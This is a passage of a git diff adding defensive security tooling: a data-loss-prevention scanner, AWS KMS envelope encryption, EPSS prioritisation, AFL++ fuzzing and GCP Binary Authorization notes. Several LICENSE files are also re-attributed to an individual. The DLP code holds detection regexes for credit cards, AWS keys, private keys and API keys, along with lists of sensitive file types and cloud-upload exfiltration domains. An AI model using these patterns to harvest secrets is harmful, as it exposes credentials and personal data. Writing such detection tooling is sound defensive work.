r"\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13})\b", + "Email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", + "AWS Key": r"AKIA[0-9A-Z]{16}", + "Private Key": r"-----BEGIN (RSA |EC )?PRIVATE KEY-----", + "API Key": r"(?:api[_-]?key|apikey)\s*[:=]\s*['\"]?[a-zA-Z0-9]{20,}", +} + +SENSITIVE_EXTENSIONS = [ + ".pem", ".key", ".pfx", ".p12", ".kdbx", ".env", + ".sql", ".bak", ".dump", ".mdb", +] + + +def scan_file_for_sensitive_data(file_path): + """Scan a single file for sensitive data patterns.""" + try: + with open(file_path, "r", encoding="utf-8", errors="ignore") as f: + content = f.read(1024 * 1024) + except (OSError, PermissionError): + return None + matches = {} + for pattern_name, pattern in SENSITIVE_PATTERNS.items(): + found = re.findall(pattern, content) + if found: + matches[pattern_name] = len(found) + ext = Path(file_path).suffix.lower() + is_sensitive_ext = ext in SENSITIVE_EXTENSIONS + if not matches and not is_sensitive_ext: + return None + return { + "file": str(file_path), + "matches": matches, + "sensitive_extension": is_sensitive_ext, + "file_size": Path(file_path).stat().st_size, + "severity": "CRITICAL" if "Private Key" in matches or "AWS Key" in matches + else "HIGH" if matches else "MEDIUM", + } + + +def scan_directory(dir_path, max_files=10000): + """Scan a directory for files containing sensitive data.""" + findings = [] + count = 0 + for filepath in Path(dir_path).rglob("*"): + if filepath.is_file() and count < max_files: + count += 1 + result = scan_file_for_sensitive_data(filepath) + if result: + findings.append(result) + return sorted(findings, key=lambda x: x["severity"]) + + +def monitor_usb_transfers(event_log_path): + """Monitor file transfers to USB/removable devices.""" + findings = [] + with open(event_log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + dest = entry.get("destination", entry.get("target_path", "")).lower() + if any(ind in dest for ind in ["removable", "usb", "external"]): + findings.append({ + "timestamp": entry.get("timestamp", ""), + "user": entry.get("user", ""), + "file": entry.get("file_path", entry.get("source", "")), + "destination": dest, + "size_bytes": entry.get("size", entry.get("bytes", 0)), + "severity": "HIGH", + "channel": "USB", + }) + return findings + + +def monitor_cloud_uploads(event_log_path): + """Monitor file uploads to cloud storage services.""" + cloud_domains = ["drive.google.com", "dropbox.com", "onedrive.live.com", + "box.com", "wetransfer.com", "mega.nz"] + findings = [] + with open(event_log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + url = entry.get("url", entry.get("destination", "")).lower() + if any(domain in url for domain in cloud_domains): + findings.append({ + "timestamp": entry.get("timestamp", ""), + "user": entry.get("user", ""), + "url": url[:200], + "file": entry.get("file_name", entry.get("filename", "")), + "severity": "HIGH", + "channel": "cloud_upload", + }) + return findings + + +def generate_dlp_policy(): + """Generate endpoint DLP policy recommendations.""" + return { + "data_classification": ["PII", "Financial", "Credentials", "Source Code"], + "channels_monitored": ["USB", "Cloud Storage", "Email Attachments", + "Clipboard", "Print", "Screen Capture"], + "actions": { + "PII_to_USB": "block_and_notify", + "credentials_to_cloud": "block_and_alert_soc", + "source_code_to_email": "encrypt_and_log", + "financial_to_print": "log_and_watermark", + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="Endpoint DLP Controls Agent") + parser.add_argument("--scan-dir", help="Directory to scan for sensitive data") + parser.add_argument("--usb-log", help="USB transfer event log") + parser.add_argument("--cloud-log", help="Cloud upload event log") + parser.add_argument("--output", default="endpoint_dlp_report.json") + parser.add_argument("--action", choices=["scan", "usb", "cloud", "policy", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("scan", "full") and args.scan_dir: + findings = scan_directory(args.scan_dir) + report["findings"]["sensitive_data_scan"] = findings + print(f"[+] Sensitive files found: {len(findings)}") + + if args.action in ("usb", "full") and args.usb_log: + findings = monitor_usb_transfers(args.usb_log) + report["findings"]["usb_transfers"] = findings + print(f"[+] USB transfer events: {len(findings)}") + + if args.action in ("cloud", "full") and args.cloud_log: + findings = monitor_cloud_uploads(args.cloud_log) + report["findings"]["cloud_uploads"] = findings + print(f"[+] Cloud upload events: {len(findings)}") + + if args.action in ("policy", "full"): + policy = generate_dlp_policy() + report["findings"]["dlp_policy"] = policy + print("[+] DLP policy generated") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-envelope-encryption-with-aws-kms/LICENSE b/skills/implementing-envelope-encryption-with-aws-kms/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-envelope-encryption-with-aws-kms/LICENSE +++ b/skills/implementing-envelope-encryption-with-aws-kms/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md b/skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md new file mode 100644 index 00000000..868a3b06 --- /dev/null +++ b/skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference — Implementing Envelope Encryption with AWS KMS + +## Libraries Used +- **boto3**: AWS SDK for KMS key management and data key generation +- **cryptography**: AES-256-GCM for local data encryption with generated data keys + +## CLI Interface + +``` +python agent.py --region us-east-1 encrypt --input --output --key-id +python agent.py --region us-east-1 decrypt --input --output +python agent.py --region us-east-1 list-keys +python agent.py --region us-east-1 audit --key-id +``` + +## Core Functions + +### `generate_data_key(kms_key_id, region)` +Generates a data encryption key (DEK) using AWS KMS. +- `kms.generate_data_key(KeyId=key_id, KeySpec="AES_256")` +- Returns plaintext key (for local encryption) and encrypted key (for storage). + +### `encrypt_data(plaintext_bytes, kms_key_id, region)` +Performs envelope encryption: generates DEK via KMS, encrypts data locally with AES-256-GCM, stores encrypted DEK alongside ciphertext. + +### `decrypt_data(envelope, region)` +Decrypts envelope: calls `kms.decrypt(CiphertextBlob=encrypted_key)` to recover DEK, then decrypts data locally. + +### `list_kms_keys(region)` +Lists KMS keys with metadata using `kms.list_keys()` and `kms.describe_key()`. + +### `audit_key_policy(key_id, region)` +Audits KMS key policy for overly permissive principals (`Principal: "*"`). +- `kms.get_key_policy(KeyId=key_id, PolicyName="default")` + +## boto3 KMS API Calls + +| Method | Purpose | +|--------|---------| +| `kms.generate_data_key(KeyId, KeySpec)` | Generate plaintext + encrypted DEK | +| `kms.decrypt(CiphertextBlob)` | Decrypt encrypted DEK back to plaintext | +| `kms.list_keys()` | List all KMS keys in the account | +| `kms.describe_key(KeyId)` | Get key metadata (state, usage, origin) | +| `kms.get_key_policy(KeyId, PolicyName)` | Get key resource policy JSON | + +## Dependencies +``` +pip install boto3>=1.28 cryptography>=41.0 +``` diff --git a/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py b/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py new file mode 100644 index 00000000..3b20a8d3 --- /dev/null +++ b/skills/implementing-envelope-encryption-with-aws-kms/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Agent for implementing envelope encryption using AWS KMS.""" + +import json +import argparse +import os +import base64 +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + boto3 = None + +try: + from cryptography.hazmat.primitives.ciphers.aead import AESGCM +except ImportError: + AESGCM = None + +NONCE_SIZE = 12 + + +def generate_data_key(kms_key_id, region="us-east-1"): + """Generate a data encryption key using AWS KMS.""" + kms = boto3.client("kms", region_name=region) + resp = kms.generate_data_key(KeyId=kms_key_id, KeySpec="AES_256") + return { + "plaintext_key": resp["Plaintext"], + "encrypted_key": resp["CiphertextBlob"], + "key_id": resp["KeyId"], + } + + +def encrypt_data(plaintext_bytes, kms_key_id, region="us-east-1"): + """Encrypt data using envelope encryption with AWS KMS.""" + key_data = generate_data_key(kms_key_id, region) + nonce = os.urandom(NONCE_SIZE) + aesgcm = AESGCM(key_data["plaintext_key"]) + ciphertext = aesgcm.encrypt(nonce, plaintext_bytes, None) + + # Zero out plaintext key from memory + key_data["plaintext_key"] = b"\x00" * 32 + + envelope = { + "encrypted_data_key": base64.b64encode(key_data["encrypted_key"]).decode(), + "nonce": base64.b64encode(nonce).decode(), + "ciphertext": base64.b64encode(ciphertext).decode(), + "kms_key_id": key_data["key_id"], + "algorithm": "AES-256-GCM", + "envelope_version": 1, + } + return envelope + + +def decrypt_data(envelope, region="us-east-1"): + """Decrypt envelope-encrypted data using AWS KMS.""" + kms = boto3.client("kms", region_name=region) + encrypted_key = base64.b64decode(envelope["encrypted_data_key"]) + resp = kms.decrypt(CiphertextBlob=encrypted_key) + plaintext_key = resp["Plaintext"] + + nonce = base64.b64decode(envelope["nonce"]) + ciphertext = base64.b64decode(envelope["ciphertext"]) + aesgcm = AESGCM(plaintext_key) + plaintext = aesgcm.decrypt(nonce, ciphertext, None) + + # Zero out plaintext key + plaintext_key = b"\x00" * 32 + return plaintext + + +def encrypt_file(input_path, output_path, kms_key_id, region="us-east-1"): + """Encrypt a file using envelope encryption.""" + with open(input_path, "rb") as f: + plaintext = f.read() + envelope = encrypt_data(plaintext, kms_key_id, region) + with open(output_path, "w") as f: + json.dump(envelope, f, indent=2) + return { + "input": str(input_path), + "output": str(output_path), + "original_size": len(plaintext), + "kms_key_id": envelope["kms_key_id"], + } + + +def decrypt_file(input_path, output_path, region="us-east-1"): + """Decrypt an envelope-encrypted file.""" + with open(input_path, "r") as f: + envelope = json.load(f) + plaintext = decrypt_data(envelope, region) + with open(output_path, "wb") as f: + f.write(plaintext) + return {"input": str(input_path), "output": str(output_path), "decrypted_size": len(plaintext)} + + +def list_kms_keys(region="us-east-1"): + """List available KMS keys.""" + kms = boto3.client("kms", region_name=region) + paginator = kms.get_paginator("list_keys") + keys = [] + for page in paginator.paginate(): + for key in page["Keys"]: + try: + desc = kms.describe_key(KeyId=key["KeyId"]) + meta = desc["KeyMetadata"] + keys.append({ + "key_id": meta["KeyId"], + "arn": meta["Arn"], + "description": meta.get("Description", ""), + "state": meta["KeyState"], + "key_usage": meta["KeyUsage"], + "origin": meta["Origin"], + }) + except ClientError: + keys.append({"key_id": key["KeyId"], "error": "access denied"}) + return {"keys": keys, "total": len(keys)} + + +def audit_key_policy(key_id, region="us-east-1"): + """Audit a KMS key's policy for overly permissive access.""" + kms = boto3.client("kms", region_name=region) + policy = json.loads(kms.get_key_policy(KeyId=key_id, PolicyName="default")["Policy"]) + findings = [] + for stmt in policy.get("Statement", []): + principal = stmt.get("Principal", {}) + if principal == "*" or principal.get("AWS") == "*": + findings.append({ + "severity": "HIGH", + "finding": "Key policy allows access to all AWS principals", + "statement_id": stmt.get("Sid", "unknown"), + }) + return {"key_id": key_id, "policy": policy, "findings": findings} + + +def main(): + if not boto3 or not AESGCM: + print(json.dumps({"error": "boto3 and cryptography required"})) + return + parser = argparse.ArgumentParser(description="AWS KMS Envelope Encryption Agent") + parser.add_argument("--region", default="us-east-1") + sub = parser.add_subparsers(dest="command") + e = sub.add_parser("encrypt", help="Encrypt file with envelope encryption") + e.add_argument("--input", required=True) + e.add_argument("--output", required=True) + e.add_argument("--key-id", required=True, help="KMS key ID or ARN") + d = sub.add_parser("decrypt", help="Decrypt envelope-encrypted file") + d.add_argument("--input", required=True) + d.add_argument("--output", required=True) + sub.add_parser("list-keys", help="List KMS keys") + a = sub.add_parser("audit", help="Audit KMS key policy") + a.add_argument("--key-id", required=True) + args = parser.parse_args() + if args.command == "encrypt": + result = encrypt_file(args.input, args.output, args.key_id, args.region) + elif args.command == "decrypt": + result = decrypt_file(args.input, args.output, args.region) + elif args.command == "list-keys": + result = list_kms_keys(args.region) + elif args.command == "audit": + result = audit_key_policy(args.key_id, args.region) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE b/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE +++ b/skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md b/skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md new file mode 100644 index 00000000..e493eae7 --- /dev/null +++ b/skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference — Implementing EPSS Score for Vulnerability Prioritization + +## Libraries Used +- **requests**: HTTP client for FIRST.org EPSS API +- **csv**: Parse and enrich vulnerability scan CSV files + +## CLI Interface + +``` +python agent.py score --cves CVE-2024-1234 CVE-2024-5678 +python agent.py enrich --scan-file scan.csv [--output enriched.csv] +``` + +## Core Functions + +### `get_epss_scores(cve_list)` +Fetches EPSS scores from the FIRST.org API (batches of 100). + +**API Endpoint:** `GET https://api.first.org/data/v1/epss?cve=CVE-1,CVE-2` + +**Returns:** dict with `scores` list, each containing `cve`, `epss` (0.0-1.0), `percentile` (0.0-1.0). + +### `prioritize_vulnerabilities(cve_scores, epss_threshold=0.1, percentile_threshold=0.9)` +Classifies CVEs into priority buckets based on EPSS probability. + +**Priority Buckets:** +| Priority | Criteria | +|----------|---------| +| CRITICAL | EPSS >= 0.1 or percentile >= 90th | +| HIGH | EPSS >= 0.05 | +| MEDIUM | EPSS >= 0.01 | +| LOW | EPSS < 0.01 | + +### `enrich_from_scan(scan_file, output_file=None)` +Reads a CSV vulnerability scan, fetches EPSS for all CVEs, and writes enriched output. + +**Auto-detects columns:** CVE, cve, CVE-ID, cve_id, vulnerability_id. + +## FIRST.org EPSS API + +| Parameter | Description | +|-----------|-------------| +| `cve` | Comma-separated CVE IDs (max 100 per request) | +| `envelope` | Wrap response in metadata envelope | +| `date` | Get scores for a specific date (YYYY-MM-DD) | + +**Response Fields:** +- `epss`: Probability of exploitation in next 30 days (0.0–1.0) +- `percentile`: Percentile rank relative to all scored CVEs + +## Dependencies +``` +pip install requests>=2.31 +``` diff --git a/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py b/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py new file mode 100644 index 00000000..90076814 --- /dev/null +++ b/skills/implementing-epss-score-for-vulnerability-prioritization/scripts/agent.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +"""Agent for implementing EPSS (Exploit Prediction Scoring System) for vulnerability prioritization.""" + +import json +import argparse +import csv +from datetime import datetime +from io import StringIO + +try: + import requests +except ImportError: + requests = None + +EPSS_API_URL = "https://api.first.org/data/v1/epss" + + +def get_epss_scores(cve_list): + """Fetch EPSS scores for a list of CVE IDs from the FIRST.org API.""" + if not requests: + return {"error": "requests library not installed"} + results = [] + # API supports up to 100 CVEs per request + for i in range(0, len(cve_list), 100): + batch = cve_list[i:i + 100] + params = {"cve": ",".join(batch)} + resp = requests.get(EPSS_API_URL, params=params, timeout=30) + resp.raise_for_status() + data = resp.json() + for item in data.get("data", []): + results.append({ + "cve": item["cve"], + "epss": float(item["epss"]), + "percentile": float(item["percentile"]), + }) + return {"total": len(results), "scores": results} + + +def get_epss_csv(): + """Download the full EPSS score CSV from FIRST.org.""" + if not requests: + return {"error": "requests library not installed"} + resp = requests.get(f"{EPSS_API_URL}?envelope=true&pretty=true", timeout=60) + resp.raise_for_status() + return resp.json() + + +def prioritize_vulnerabilities(cve_scores, epss_threshold=0.1, percentile_threshold=0.9): + """Prioritize vulnerabilities based on EPSS score and percentile.""" + critical = [] + high = [] + medium = [] + low = [] + for item in cve_scores: + epss = item["epss"] + pct = item["percentile"] + if epss >= epss_threshold or pct >= percentile_threshold: + item["priority"] = "CRITICAL" + critical.append(item) + elif epss >= 0.05: + item["priority"] = "HIGH" + high.append(item) + elif epss >= 0.01: + item["priority"] = "MEDIUM" + medium.append(item) + else: + item["priority"] = "LOW" + low.append(item) + return { + "thresholds": {"epss": epss_threshold, "percentile": percentile_threshold}, + "summary": { + "critical": len(critical), + "high": len(high), + "medium": len(medium), + "low": len(low), + }, + "critical": sorted(critical, key=lambda x: x["epss"], reverse=True), + "high": sorted(high, key=lambda x: x["epss"], reverse=True), + } + + +def enrich_from_scan(scan_file, output_file=None): + """Enrich a vulnerability scan CSV with EPSS scores.""" + with open(scan_file, "r") as f: + reader = csv.DictReader(f) + rows = list(reader) + cve_col = None + for col in ["CVE", "cve", "CVE-ID", "cve_id", "vulnerability_id"]: + if col in (rows[0] if rows else {}): + cve_col = col + break + if not cve_col: + return {"error": "No CVE column found in scan file"} + cves = [row[cve_col] for row in rows if row.get(cve_col, "").startswith("CVE-")] + if not cves: + return {"error": "No CVE IDs found in scan file"} + epss_data = get_epss_scores(cves) + epss_map = {s["cve"]: s for s in epss_data.get("scores", [])} + + enriched = [] + for row in rows: + cve = row.get(cve_col, "") + epss_info = epss_map.get(cve, {}) + row["epss_score"] = epss_info.get("epss", "N/A") + row["epss_percentile"] = epss_info.get("percentile", "N/A") + enriched.append(row) + + if output_file: + fieldnames = list(enriched[0].keys()) + with open(output_file, "w", newline="") as f: + writer = csv.DictWriter(f, fieldnames=fieldnames) + writer.writeheader() + writer.writerows(enriched) + + prioritized = prioritize_vulnerabilities( + [s for s in epss_data.get("scores", [])] + ) + return { + "scan_file": scan_file, + "total_cves": len(cves), + "enriched_count": sum(1 for r in enriched if r["epss_score"] != "N/A"), + "prioritization": prioritized["summary"], + "top_10_exploitable": prioritized.get("critical", [])[:10], + } + + +def main(): + parser = argparse.ArgumentParser(description="EPSS Vulnerability Prioritization Agent") + sub = parser.add_subparsers(dest="command") + s = sub.add_parser("score", help="Get EPSS scores for CVE IDs") + s.add_argument("--cves", nargs="+", required=True, help="CVE IDs (e.g., CVE-2024-1234)") + e = sub.add_parser("enrich", help="Enrich vulnerability scan with EPSS scores") + e.add_argument("--scan-file", required=True, help="CSV vulnerability scan report") + e.add_argument("--output", help="Output enriched CSV file") + args = parser.parse_args() + if args.command == "score": + epss = get_epss_scores(args.cves) + result = prioritize_vulnerabilities(epss.get("scores", [])) + result["raw_scores"] = epss["scores"] + elif args.command == "enrich": + result = enrich_from_scan(args.scan_file, args.output) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE +++ b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md new file mode 100644 index 00000000..e0846c6d --- /dev/null +++ b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference — Implementing Fuzz Testing in CI/CD with AFL++ + +## Libraries Used +- **subprocess**: Execute AFL++ toolchain commands (afl-clang-fast, afl-fuzz, afl-cmin) +- **pathlib**: File system operations for corpus and crash management + +## CLI Interface + +``` +python agent.py compile --source target.c --output target_fuzz [--compiler afl-clang-fast] +python agent.py fuzz --binary ./target_fuzz --input seeds/ --output findings/ [--duration 300] +python agent.py triage --binary ./target_fuzz --crashes-dir findings/default/crashes/ +python agent.py stats --stats-file findings/default/fuzzer_stats +``` + +## Core Functions + +### `compile_target(source_file, output_binary, compiler)` +Compiles target with AFL++ instrumentation. Sets `AFL_HARDEN=1` for memory sanitizers. + +### `run_fuzzer(binary, input_dir, output_dir, duration_seconds, memory_limit)` +Runs `afl-fuzz` with headless mode (`AFL_NO_UI=1`), time-limited (`-V` flag). + +**Environment Variables Set:** +| Variable | Value | Purpose | +|----------|-------|---------| +| `AFL_SKIP_CPUFREQ` | 1 | Skip CPU frequency check (CI/CD) | +| `AFL_NO_UI` | 1 | Headless mode for CI environments | +| `AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES` | 1 | Continue on crash dir issues | + +### `parse_fuzzer_stats(stats_file)` +Parses AFL++ `fuzzer_stats` file. Key metrics: `execs_per_sec`, `paths_total`, `saved_crashes`, `bitmap_cvg`. + +### `triage_crashes(binary, crashes_dir)` +Re-runs crash inputs through the binary and classifies by signal (SIGSEGV, SIGABRT, etc.). + +### `minimize_corpus(binary, input_dir, output_dir, timeout)` +Runs `afl-cmin` to remove redundant seeds from the corpus. + +## AFL++ Commands Used + +| Command | Purpose | +|---------|---------| +| `afl-clang-fast` | Compile with LLVM-based instrumentation | +| `afl-fuzz -i -o -- ` | Main fuzzing loop | +| `afl-cmin -i -o -- ` | Corpus minimization | +| `afl-tmin -i -o -- ` | Test case minimization | + +## Dependencies +AFL++ must be installed: `apt install aflplusplus` or build from source. +``` +pip install # No Python packages needed beyond stdlib +``` diff --git a/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py new file mode 100644 index 00000000..27b78002 --- /dev/null +++ b/skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/agent.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python3 +"""Agent for implementing AFL++ fuzz testing in CI/CD pipelines.""" + +import json +import argparse +import subprocess +import os +import shutil +from datetime import datetime +from pathlib import Path + + +def compile_target(source_file, output_binary, compiler="afl-clang-fast"): + """Compile target binary with AFL++ instrumentation.""" + cmd = [compiler, "-g", "-O1", "-fno-omit-frame-pointer", "-o", output_binary, source_file] + env = os.environ.copy() + env["AFL_HARDEN"] = "1" + result = subprocess.run(cmd, capture_output=True, text=True, env=env, timeout=120) + return { + "source": source_file, + "binary": output_binary, + "compiler": compiler, + "returncode": result.returncode, + "stdout": result.stdout[:500], + "stderr": result.stderr[:500], + "instrumented": result.returncode == 0, + } + + +def prepare_corpus(seed_dir, corpus_dir): + """Prepare and minimize seed corpus using afl-cmin.""" + Path(corpus_dir).mkdir(parents=True, exist_ok=True) + seeds = list(Path(seed_dir).glob("*")) + if not seeds: + # Create a minimal seed if none provided + minimal = Path(seed_dir) / "seed_minimal" + minimal.write_bytes(b"AAAA") + seeds = [minimal] + return { + "seed_dir": str(seed_dir), + "corpus_dir": str(corpus_dir), + "seed_count": len(seeds), + "seeds": [str(s) for s in seeds[:50]], + } + + +def minimize_corpus(binary, input_dir, output_dir, timeout=60): + """Minimize seed corpus using afl-cmin.""" + Path(output_dir).mkdir(parents=True, exist_ok=True) + cmd = ["afl-cmin", "-i", input_dir, "-o", output_dir, "-t", str(timeout * 1000), "--", binary] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + minimized = list(Path(output_dir).glob("*")) + return { + "input_count": len(list(Path(input_dir).glob("*"))), + "output_count": len(minimized), + "returncode": result.returncode, + } + + +def run_fuzzer(binary, input_dir, output_dir, duration_seconds=300, memory_limit="512"): + """Run AFL++ fuzzer for a specified duration.""" + Path(output_dir).mkdir(parents=True, exist_ok=True) + env = os.environ.copy() + env["AFL_SKIP_CPUFREQ"] = "1" + env["AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES"] = "1" + env["AFL_NO_UI"] = "1" + cmd = [ + "afl-fuzz", + "-i", input_dir, + "-o", output_dir, + "-m", memory_limit, + "-V", str(duration_seconds), + "--", binary, + ] + result = subprocess.run(cmd, capture_output=True, text=True, env=env, timeout=duration_seconds + 60) + stats = parse_fuzzer_stats(os.path.join(output_dir, "default", "fuzzer_stats")) + crashes_dir = os.path.join(output_dir, "default", "crashes") + crash_files = list(Path(crashes_dir).glob("id:*")) if os.path.isdir(crashes_dir) else [] + return { + "binary": binary, + "duration_seconds": duration_seconds, + "returncode": result.returncode, + "stats": stats, + "crashes_found": len(crash_files), + "crash_files": [str(f) for f in crash_files[:50]], + } + + +def parse_fuzzer_stats(stats_file): + """Parse AFL++ fuzzer_stats file into a dict.""" + stats = {} + try: + with open(stats_file, "r") as f: + for line in f: + if ":" in line: + key, _, value = line.partition(":") + stats[key.strip()] = value.strip() + except FileNotFoundError: + return {"error": "fuzzer_stats not found"} + return { + "execs_done": stats.get("execs_done", "0"), + "execs_per_sec": stats.get("execs_per_sec", "0"), + "paths_total": stats.get("paths_total", "0"), + "paths_found": stats.get("paths_found", "0"), + "unique_crashes": stats.get("saved_crashes", "0"), + "unique_hangs": stats.get("saved_hangs", "0"), + "stability": stats.get("stability", "unknown"), + "bitmap_cvg": stats.get("bitmap_cvg", "unknown"), + } + + +def triage_crashes(binary, crashes_dir): + """Triage crash inputs to deduplicate and classify.""" + crash_files = sorted(Path(crashes_dir).glob("id:*")) + results = [] + for crash_file in crash_files[:100]: + cmd = [binary] + try: + proc = subprocess.run( + cmd, input=crash_file.read_bytes(), + capture_output=True, timeout=5 + ) + results.append({ + "file": str(crash_file), + "returncode": proc.returncode, + "signal": -proc.returncode if proc.returncode < 0 else None, + "stderr_snippet": proc.stderr[:200].decode("utf-8", errors="replace"), + "crash_type": _classify_signal(proc.returncode), + }) + except subprocess.TimeoutExpired: + results.append({"file": str(crash_file), "crash_type": "hang/timeout"}) + return { + "total_crashes": len(crash_files), + "triaged": len(results), + "by_type": _count_by(results, "crash_type"), + "results": results, + } + + +def _classify_signal(returncode): + signal_map = {-6: "SIGABRT", -11: "SIGSEGV", -8: "SIGFPE", -4: "SIGILL", -7: "SIGBUS"} + return signal_map.get(returncode, f"exit({returncode})") + + +def _count_by(items, key): + counts = {} + for item in items: + val = item.get(key, "unknown") + counts[val] = counts.get(val, 0) + 1 + return counts + + +def main(): + parser = argparse.ArgumentParser(description="AFL++ Fuzz Testing CI/CD Agent") + sub = parser.add_subparsers(dest="command") + c = sub.add_parser("compile", help="Compile target with AFL++ instrumentation") + c.add_argument("--source", required=True) + c.add_argument("--output", required=True) + c.add_argument("--compiler", default="afl-clang-fast") + f = sub.add_parser("fuzz", help="Run AFL++ fuzzer") + f.add_argument("--binary", required=True) + f.add_argument("--input", required=True) + f.add_argument("--output", required=True) + f.add_argument("--duration", type=int, default=300, help="Duration in seconds") + f.add_argument("--memory", default="512", help="Memory limit in MB") + t = sub.add_parser("triage", help="Triage crash inputs") + t.add_argument("--binary", required=True) + t.add_argument("--crashes-dir", required=True) + s = sub.add_parser("stats", help="Parse fuzzer stats") + s.add_argument("--stats-file", required=True) + args = parser.parse_args() + if args.command == "compile": + result = compile_target(args.source, args.output, args.compiler) + elif args.command == "fuzz": + result = run_fuzzer(args.binary, args.input, args.output, args.duration, args.memory) + elif args.command == "triage": + result = triage_crashes(args.binary, args.crashes_dir) + elif args.command == "stats": + result = parse_fuzzer_stats(args.stats_file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-gcp-binary-authorization/LICENSE b/skills/implementing-gcp-binary-authorization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-gcp-binary-authorization/LICENSE +++ b/skills/implementing-gcp-binary-authorization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-gcp-binary-authorization/references/api-reference.md b/skills/implementing-gcp-binary-authorization/references/api-reference.md new file mode 100644 index 00000000..e05cb125 --- /dev/null +++ b/skills/implementing-gcp-binary-authorization/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Implementing GCP Binary Authorization + +## gcloud CLI Commands + +```bash +# Enable APIs +gcloud services enable binaryauthorization.googleapis.com containeranalysis.googleapis.com + +# Enable on GKE cluster +gcloud container clusters update CLUSTER --enable-binauthz --zone ZONE + +# Export policy +gcloud container binauthz policy export --project PROJECT_ID + +# Import policy +gcloud container binauthz policy import policy.yaml + +# Create attestor +gcloud container binauthz attestors create ATTESTOR_NAME \ + --attestation-authority-note=NOTE_ID \ + --attestation-authority-note-project=PROJECT_ID + +# Create attestation +gcloud container binauthz attestations sign-and-create \ + --artifact-url="gcr.io/PROJECT/IMAGE@DIGEST" \ + --attestor="ATTESTOR" --attestor-project="PROJECT" \ + --keyversion-project=PROJECT --keyversion-location=global \ + --keyversion-keyring=KEYRING --keyversion-key=KEY --keyversion=1 +``` + +## Policy Structure + +| Field | Values | Description | +|-------|--------|-------------| +| `evaluationMode` | ALWAYS_ALLOW, ALWAYS_DENY, REQUIRE_ATTESTATION | How images are evaluated | +| `enforcementMode` | ENFORCED_BLOCK_AND_AUDIT_LOG, DRYRUN_AUDIT_LOG_ONLY | Block or audit-only | +| `globalPolicyEvaluationMode` | ENABLE, DISABLE | Google-maintained system policy | + +## Break-Glass Annotation + +```yaml +metadata: + annotations: + alpha.image-policy.k8s.io/break-glass: "Emergency - INC-12345" +``` + +## Cloud Logging Filter (CV Violations) + +``` +resource.type="k8s_cluster" +logName="projects/PROJECT/logs/binaryauthorization.googleapis.com%2Fcontinuous_validation" +``` + +### References + +- GCP 